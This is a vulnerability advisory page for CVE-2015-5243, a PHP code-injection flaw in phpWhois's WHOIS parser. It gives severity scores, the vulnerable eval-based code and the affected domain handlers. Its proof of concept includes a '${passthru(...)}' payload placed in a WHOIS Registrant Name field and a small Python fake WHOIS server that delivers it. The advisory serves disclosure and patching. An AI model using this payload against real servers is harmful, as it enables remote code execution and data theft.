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friendsofphpOpenJS FoundationFRIENDSOFPHP:JSMITTY12:PHPWHOIS:CVE-2015-5243
HistoryMay 29, 2018 - 6:12 p.m.

PHP Code Injection

2018-05-2918:12:55
OpenJS Foundation
github.com
1

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.05

Percentile

92.9%

phpWhois PHP Code Injection Vulnerability Overview phpWhois and some of its forks in versions before 5.1.0 are prone to a code injection vulnerability due to insufficient sanitization of returned WHOIS data. This allows attackers controlling the WHOIS information of a requested domain to execute arbitrary PHP code in the context of the application. Identifier : SBA-ADV-20180425-01 Type of Vulnerability : Code Injection Software/Product Name : phpWhois Vendor : phpwhois.org, abcdmitry, jsmitty12, webalternative and others Affected Versions : phpwhois.org: 4.2.2 and probably prior, as well as the following forks abcdmitry: 4.2.5 and probably prior, jsmitty12: 5.0.2 and probably prior Fixed in Version : jsmitty12: 5.1.0 CVE ID : CVE-2015-5243 CVSSv3 Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSSv3 Base Score : 9.8 (Critical) Vendor Description This package contains a Whois (RFC954) library for PHP. It allows a PHP program to create a Whois object, and obtain the output of a whois query with the lookup function. Source: https://github.com/phpWhois/phpWhois Impact By exploiting the vulnerability documented in this advisory, an attacker controlling the WHOIS information of a domain retrieved via phpWhois can execute arbitrary PHP code in the context of the application. The set of domains enabling this attack vector is limited to certain top-level domains. Sensitive data accessible by the application might get exposed through this attack. The vulnerability is fixed in version 5.1.0 or newer of jsmitty12’s fork. We recommend upgrading to this version. Vulnerability Description phpWhois implements multiple generic parsers for WHOIS data in whois.parser.php. The parser implemented in function generic_parser_b is vulnerable to injection of PHP code. The function generic_parser_b builds a PHP statement from WHOIS data values by concatenating strings without proper sanitization. It then passes the statement to the eval function: function generic_parser_b($rawdata, $items = array(), $dateformat = ‘mdy’, $hasreg = true, $scanall = false) { […] foreach ($rawdata as $val) { if (trim($val) != ‘’) { if (($val[0] == ‘%’ || $val[0] == ‘#’) && $disok) { $r[‘disclaimer’][] = trim(substr($val, 1)); $disok = true; continue; } $disok = false; reset($items); foreach ($items as $match => $field) { $pos = strpos($val, $match); if ($pos !== false) { if ($field != ‘’) { $var = ‘$r’ . getvarname($field); $itm = trim(substr($val, $pos + strlen($match))); if ($itm != ‘’) eval($var . ‘="’ . str_replace(‘"’, ‘"’, $itm) . ‘";’); } if (!$scanall) break; } } } […] } At least the following 33 top-level domain handlers make use of the vulnerable parser: ae, aero, ag, asia, au, bh, biz, cat, cn, co, co.za, fi, hu, in, info, jp, lu, me, mobi, museum, name, nz, org, pro, ru, sc, se, su, tel, travel, us, ws, xxx Proof-of-Concept An attacker can exploit this vulnerability by setting malicious WHOIS information such as Registrant Name: ${passthru(‘id’)} for an arbitrary .org domain. Instead of a real name, we specify ${passthru(‘id’)} which PHP will interpret as a variable expansion inside double quoted string literals. We simulate this situation via a simple WHOIS server implementation: import SocketServer DATA = “Registrant Name: ${passthru(‘id’)}\n” class WhoisHandler(SocketServer.BaseRequestHandler): def handle(self): self.request.recv(1024) print(‘Request received’) self.request.sendall(DATA) print(‘Payload sent’) if name == ‘main’: SocketServer.ThreadingTCPServer.allow_reuse_address = True server = SocketServer.ThreadingTCPServer((‘127.0.0.1’, 9999), WhoisHandler) server.serve_forever() The following example sets up phpWhois to use the simulated WHOIS server and requests information for example.org: useServer(‘org’, ‘127.0.0.1:9999’); echo $whois->lookup(‘example.org’); Therefore, the vulnerable phpWhois version executes the injected PHP statement passthru(‘id’) which will execute the Unix id command on the server and return its output. Timeline 2018-04-25: identification of vulnerability 2018-04-26: initial contact of several phpWhois and fork maintainers 2018-04-26: disclosed vulnerability to phpwhois.org project maintainer 2018-04-27: disclosed vulnerability to jsmitty12 2018-04-30: phpwhois.org project maintainer stated that it is a known issue (CVE-2015-5243) with a fix committed at https://github.com/sparc/phpWhois.org 2018-04-30: fix is not released yet and MITRE lists CVE-2015-5243 as assigned but private 2018-05-29: jsmitty12 released fixed version 5.1.0 2018-08-01: public disclosure References Original advisory: https://blog.nettitude.com/uk/cve-2015-5243-phpwhois-remote-code-execution Fixes: https://github.com/sparc/phpWhois.org/commit/5cc572490c9053d46598ec9348a11e36a5a33a46#diff-f150ae17da7341bf6c2eff928684b3a3 https://github.com/Gemorroj/phpwhois/commit/91c937e03c876ba1290b6de2a3ad953d2105fdd0 https://github.com/jsmitty12/phpWhois/commit/863ccf62824f9998099ed20c2952ec8953ce3d06 Credits Original advisory by Iain Wallace (Nettitude) Rediscovered by David Gnedt (SBA Research)

Affected configurations

Vulners
Node
jsmitty12phpwhoisRange<5.1.0

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.05

Percentile

92.9%

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